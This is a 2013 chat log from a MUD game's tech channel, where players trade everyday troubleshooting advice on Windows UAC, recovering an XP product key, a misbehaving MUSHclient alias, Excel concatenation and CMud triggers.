T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: true
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: yeah because desktop is in your personal space, not like program files or root
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: sounds like a path issue and the plugins making too many assumptions :P
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: it's a UAC issue
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: not if it's on his desktop
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: i still have UAC enabled...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: Aliens buries his face in his hand and sighs, shaking his head.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: lol well I like having IE use a sanbox...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: Santher pats Aliens on his head.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: UAC will stop many programs from writing to protected areas unless you are admin...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Leinei Tech: I've always had UAC enabled.  Never given me any problems whatsoever.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Gnarcyon Tech: i disabled it as soon as i got win7 
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: protected areas such as program files
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: that's your loss
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: another thing to try, right-click MUSHclient, go to properties...see if there's an "unblock" button/checkbox...that's what causes programs to ask "do you really want to run xxx", and it's the result of not trusting where you downloaded/copied it from
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Book of Etzli Tech: You know, that's one thing I've disliked about Windows 8 so far - the fact that UAC seems to pop up even when it's disabled. Of course, there's a registry hack for that, though.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Leinei Tech: I don't run 10-year old programs that dont' get updated, either :P
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: UAC is awesome, many people turn it off because they don't want to understand it
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: only time UAC has bothered me is when it doesn't pop to the front
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: don't complain when a website screws up win 7 cause you had UAC disabled
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Book of Etzli Tech: I've never had a website screw up my computer. I'm smarter than that. ;)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}SuperJayT Tech: I think that is the purpose of the UAC, to stop all other processes and make you do something about it.  Its a good thing for most.. though Its always the first thing I disable on a new computer. :P
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Leinei Tech: Oh, I did have to stop it from dimming the screen because that was making something crash.  That's the only problem I've had.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: yeah i disable the dimming too
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Elimron Tech: smarter than teh computer or the website ?    hopefully both
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: just need that sandbox for IE...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: first thing I disable is the touch-to-click for touchpads :-)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: Vorpal Vorpes rapidly nods twice, in complete agreement.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i suffer from fat fingers as well :P
T3/r7/2013-01-21.txt.gz:{chan ch=tech}SuperJayT Tech: I got a new laptop.. and it was so infurating to be moving the mouse and clip the edge and it alt tab for me.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}SuperJayT Tech: I didnt realize what was doing it for a few days.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: i still use a real pc... so no win 8 for me
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: win8 runs on normal/real PCs (wouldn't be my preference, but it does)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: yes it does, it's just the UI that sucks
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Elimron Tech: you guys use linux?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: no
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: i like a pc that does things
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Elimron Tech: I have used it for 10 years now, I always ahve a dual boto machine
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Elimron Tech: boot lol
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: personal OS preference is NetBSD > MacOSX > Windows > linux :-)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: i c ould see daul booting or vm'ing linux... but i have no need for nix only apps
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Elimron Tech: Santher linux can do anything that windows does, just no software to buy for it lol
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: just no software doesn't equal can do anything...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: no linux can't do everything windows does unless you like sticking with old games...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so far fiance has been using win8 with the start button addon and i don't think she knows she is using win8
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: You grin evilly at him.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: the old Folder's Crystals test
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: you figured a way to disable that metro garbage?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: err Folger's
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya there is a download for it
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Elimron Tech: they have Linux software such as Gimp that is great, Codeblocks, Sun Office etc.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: still really dislike how they play hide and go seek with all the technical settings
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Elimron Tech: you mean linux, its all open, you can download teh code, change it anyway you want etc
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: there is some software, in defined categories...that's still not the same as does everything
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: well unless win 7 suddendly bombs on me... i'll be sticking with it...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: and no, he means W8's simplified interface
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ^
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Elimron Tech: ok I will wait a few years for win 8, usually takes them that after releases  long to debug it
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: linux doesnt hide that stuff, it encrypts it and then divides the key into several different websites
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: wait for windows 9
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tigernuts Tech: or don't bother
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: not really liking office 2013 either still seems buggy
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: yeah or gimp yourself with linux
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: heh, plenty of places still using XP 10 years later...I think W7 will live on about as long
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: for sure abe
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: the business peeps are fianlly upgrading to win 7 as needed...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya was glad hp didn't force me to go with w8. thankful for downgrade rights
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: heh, started a new job recently...they still have Win Server 2000 boxes
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: Daesilme comforts you. 
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: running production stuff for clients like CVS and Staples
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: Santher goes, "Heh."
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: Okay, so after repairing bad sectors, running Avira AND AVG rescue CDs, I still can't log into windows (lsass.exe status code 0) ... I wanted to retrieve my product key from XP home, but since I can't actually get into windows, none of those programs can run properly
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: Any way to reverse engineer the key out of the registry? I'd like to have it before I start running repair mode :)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: did you check the bottom of the computer?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: Friend built it :)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: So there was never a code attached to the computer...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Trisha Tech: will it boot up in safe mode?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: No safe mode either, just says it has to re-authorize windows, but even when I say okay, it starts counting down to shutdown
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Use a linux disc, you can recover the registry key from the windows partition
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: I have knoppix live so I can access the registry
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Trisha Tech: Cheezburger beat me to the answer yes.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I don't remember the exact location but i'm sure google will
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: knopix will work beautifully,  google the location of what you're looking for and you're good to go.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol so older than my ml310
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: mis
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: gpo for drive mapping shows it is working in both results and modeling but doens't actually work. server08r2 xp and win7 client anyone have any ideas?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: anybody in?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mendaloth Tech: Better to ask the question.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: When I am viewing a long pages (like more than 1 page long) it will show this --> [ Paging : (Enter), (T)op, (Q)uit, (B)ack, (R)efresh, (L)ast, (A)ll ] right?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: if you have pagesize set to nonzero, yes
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: I press enter and it show the rest of the pages but at the end a You' don't have that message pops out. It happen just today when I just log in
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: turn on echocommands
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: find out what you're sending, then it's more trackable as to where it's coming from
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: I turn it on but the message still come out whenever there's more than a page to view
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: What are you sending that you don't have?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: If you turn on echocommands you should be able to see what you're trying to send, it's  nearly impossible to debug what's going wrong remotely with out more info than "it's sending something".
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: This whole process would be a lot easier if someone would've just sent me a Win7 Pro disc and license :)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Mushambo, are you a student?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Noodlez Tech: You can download the iso for the disc legally, it's the key that costs.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'm not suggesting this by any means *cough* but piracy is really easy.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Noodlez Tech: I have a disc that's anything from 32 bit starter to 64 bit ultimate windows 7
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: technet subscription ftw
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Dreamspark for students ftw :P
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: Not student, used to have like 8 legit keys for XP but I just can't find the box
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: how much is dreamspark?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: It's a way for free/discounted microsoft products for students
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: So there's not a real 'cost' if you're a student, if you're not a student it just isn't an option.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nice free is better than $150
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: there is a cost for OS downloads, it's just paid by the school rather than the student
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: I kill something and after the message ayla give me gold from the corpse, the message You dont have that show again. It happen just today, yesterday everything is normal
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Well, 'paid'. It's a deal to both parties.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: vesuviou, that's why you should have "echocommands" turned on
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: that will tell you what the MUD sees you sending
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Vesuviou I'm not going to keep repeating myself. Turn on echocommands and tell us what is trying to send.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mendaloth Tech: Vesu turn on echocommands it will tell you what's being sent to the mud.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: which will tell us where to look
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: If you can't help us, we can't help you
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: you have a script which is sending something to the MUD...we can't even guess at what the script is if we don't know what's even being sent
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger nods at you in agreement. 
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: echocommands won't fix or stop the message, you'll still get the message...but you'll also get the message "You entered:: gq info", where the part after :: will change according to what the MUD sees you entering
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: ok this message ---> You entered:: put data and the line below ---> You don't have that pops out 
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mendaloth Tech: Well have you been creating any triggers at all?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Sonshi Tech: you aren't carrying anything called "data"
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Sonshi Tech: and something in your client making you send "put data"
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: so what do I do first to rectify tis?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mendaloth Tech: have you tried creating any triggers at all?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mendaloth Tech: What plugins have you installed?  Any new ones recently?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: plugin yes, trigger no. I install the container slot (automatic sorting) plugin yesterday
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: Its Container Sort, not slot
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: ahhhh
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Turie Tech: If you have Bast's Plugin EQ plugins, then the Container Sort plugin by Madcatz will crash MUSHclient.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Turie Tech: I know from experience.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: I only have madcatz
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Turie Tech: Just a warning, if you use the Bast EQ plugins, then you cannot use the container sort plugin.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: no bast but yesterday aft I install and play, no such message pops up. Only happen today
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: I mean I only install madcatz container sort. I did not install the bast EQ plugin. So what do I do now?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: I keep seeing this message
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Daesilme Tech: Well, the first thing I'd do, is uninstall/disable Madcatz plugin.  If the message goes away, then we know it's that, and the next step is why.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: try going to file ->plugins, selecting madcatz's and clicking reinstall
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: I keep seeing This You entered:: put data and You don't have that 
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: I think it's not the Madcatz plugin because I remove and disable it but still this the message persist..How do I check my trigger?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: go to game -> configure -> triggers
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: Guys, I think i found out the problem. I created an alias p put and aft I unalias it, no more message
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Daesilme Tech: Good deal.  =)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: Thanks anyway
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: ahhh, it was actually a pretty new plugin (one of Fiendish's most likely) which was causing the issue...the plugin is a prompt fixer, which sends "p data" to see what your prompt is currently set to
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mendaloth Tech: It sends p data to execute?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: rlly? So indeep it was the alias p I made for putting that is giving me the problems. I really thought I have to reinstall the mush again, lucky no need to
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: Phew! Had to copy the Windows/System32/Config folder onto a USB, along with Magical Jelly Bean Keyfinder, to a working XP machine
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: What do completley non-technical people do when their computer stops booting like that? Pay the $100 at some repair shop?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: more like 200
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Noodlez Tech: Most of the time.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Lulz Tech: I just ask people I know who are good at tech stuff.  Going to computer shops around where I live is the equivalent of burning money.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Noodlez Tech: I fix computers, and people will bring them to me, saying they took it to geek squad and it worked for like 2 weeks then stopped again, and they paid over $100
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: Well thankfully I have this lil thing called aardwolf mud to ask people :)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nodi think geeksquad is 150 just for a phone call
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: Although to be fair, I still don't have it working, but at least now I can do the repair install with some confidence
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vesuviou Tech: Btw, guys the where can I find the Bast EQ plugin?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: And father is faculty at UTexas, so worst case scenario I'll get cheap Windows 7 from there
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Lulz Tech: Vesuviou, finger Bast for the link to his plugin page.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Excel question: Say I have 5 columns of data. I want to put those 5 columns into one, separated by slashes (so Height: 5'6"/Weight: 143/Age: 27/Gender: Male, for example). So... how would I do that?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'd use a macro and use VB for the logic, personally.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Xaeris Tech: that's a simple concatenation
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: heh, I'd personally select all, copy, paste into atext editor, search/replace & paste back
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger snickers with you about your shared secret. 
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: just cuz I'd be done with it before I looked up excel's syntax
T3/r7/2013-01-21.txt.gz:{chan ch=tech}The River Styx Tech: I'd concatenate
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'm familiar with the syntax already though so it amounts to the same
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: 6 secs start to finish
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Side bar: if you don't already know it, it's not worth learning.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Really useless in fact. Had a job in which i needed it once, never again had use of the knowledge.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Xaeris Tech: see, the strength of an individual is being able to know how to find said answer.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}The River Styx Tech: You could also save as csv comma delimited, and then find/replace in txt editor.  If its on a large scale.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Thanks, Xaeris.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That's a lot of steps for something simple, styx :P
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: yeah, no need to save to file, just copypasta
T3/r7/2013-01-21.txt.gz:{chan ch=tech}The River Styx Tech: because building a macro isn't?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'd just execute my execute macro using =exec() logic :P
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: copypasta makes it already tab-separated when you paste to editor...search tab replace slash, select all, copypasta back
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Guess I've never pasted from excel to ANSCI before.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Well, damn, I can't type
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: I do it all the time :-)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: handy for getting rid of formatting and formulas, leaving just values in a table
T3/r7/2013-01-21.txt.gz:{chan ch=tech}SuperJayT Tech: If i want to make a trigger on the value of a variable.  is that possible.   ie. #tr {est} {Things} makes a trigger on the variable est, not the value of est.  This is in CMud.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}SuperJayT Tech: well the 'est' was supposed to be @Test
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'd assume the trigger would use the value of @Test not the reference. So it would work, until the value of @Test changed.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}SuperJayT Tech: yeah.. @test changes.  I'm trying to keep from having 100 variables.. guess i could just script to remove the variable.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Add a single trigger, less strict trigger and do a #if
T3/r7/2013-01-21.txt.gz:{chan ch=tech}SuperJayT Tech: meh that wouldnt work.  not sure.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: What exactly are you trying to match on? I'm almost positive there's got to be an easier way.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: What machine is this?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: mischan
T3/r7/2013-01-21.txt.gz:{chan ch=tech}SuperJayT Tech: I'm trying to make mob subs for the areas i level in.  IE.  If wanted to rename "A bumblebee lands on you." to "A bumblebee." makes it easy to see.  I created an alias to ask for A, and B and to create the #sub.  Only currently the trigger uses the variables instead of the expanded variable.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: enable a trigger on the roomchars tag, use that trigger to compare string and area to a db of known subs, and then do your gagging and echoing
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: then disable said trigger on the closing roomchars tag
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Tried arch? I've rarely ever heard of arch incompatibility.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: jesus, mischan
T3/r7/2013-01-21.txt.gz:{chan ch=tech}SuperJayT Tech: how did i not know about tags roomchars
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Magic?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: I suggest you type "tags" alone
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Doze for gaming obviously, Arch for dev.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: seriously, i fail
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: SuperJayT snickers softly.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Hanslanda Tech: looks like you gotta turn off this channel, too, Cheez
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Or just stop carrying on so many conversations :P
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Legendary Gruagach Tech: oh cool, found a pod cast that might be cool..junos as a second language..SIXTY 2-3 min clips... WTF
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Lmfao
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Come with a test in each? :P
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Legendary Gruagach Tech: is there a playall option i'm missing
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Legendary Gruagach Tech: kinda new on the podcasts here.. damn ipad
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'd kill for 100% room name cps :P
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: seriously? I'm just done.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: heh wow...good timing on that gecho for grestore
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: indeed
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: A windows 7 pro upgrade disc would allow me to do a clean install on that partition right? 
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: Using XP now...don't want to just 'upgrade' over the existing files though
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: If you're using the disc it'll be a clean install
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Dat Eutychus Tech: You can install over the top
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Upgrades aren't installs.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Dat Eutychus Tech: Windows will create a Windows.Old file on the root.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Dat Eutychus Tech: All your data will be in there.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Compressed, iirc?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: But it'll be as if I never had XP loaded on there, in terms of not transferring over any old extraneous junk?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: assuming i choose the option for format and install :)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Yeah, it'll be clean
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Dat Eutychus Tech: You'd have wahtever you installed.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: The .old file is for users only, not the machine
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Marxem Tech: some older programs may not function since they are not actually installed even if the files are still there
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Dat Eutychus Tech: Right, you'd still have to reinstall programs.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: But you could copy the data files over if you wanted to save something
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Like accounting information you don't want to lose.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Marxem Tech: it's rather useful to have them in there for that reason
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger nods.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Dat Eutychus Tech: It saves your documents and settings folder, program data/program files and even your old windows folder.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Marxem Tech: though if you have financial information you really should be making an external backup
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Data recovery is the whole purpose of the archive
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: Keep everything else on a separate drive :)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: Although I'll have to remember to backup my Skyrim and Dishonored save files from C first
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Hanslanda Tech: when one uses findroom in the mush mapper, does it only look based on room name or does it include further limits (ie, level and area lock limits)?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mushambo Tech: And it shouldn't matter that my current XP won't load...if I do clean install from the upgrade disc?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: the sql statements indicate it's just a sql match on the name. Unless there's some buried logic further in, I'd say just the name.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: the mapper doesn't care about area lock limits
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I hear S&D adds some level logic though
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: you can do room searches within particular areas with stock mapper commands
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Ie mapper area versus mapper find
T3/r7/2013-01-22.txt.gz:{chan ch=tech}Parmendies Tech: I cant seem to find the small map window on my mush client , anyone knows what is wrong?
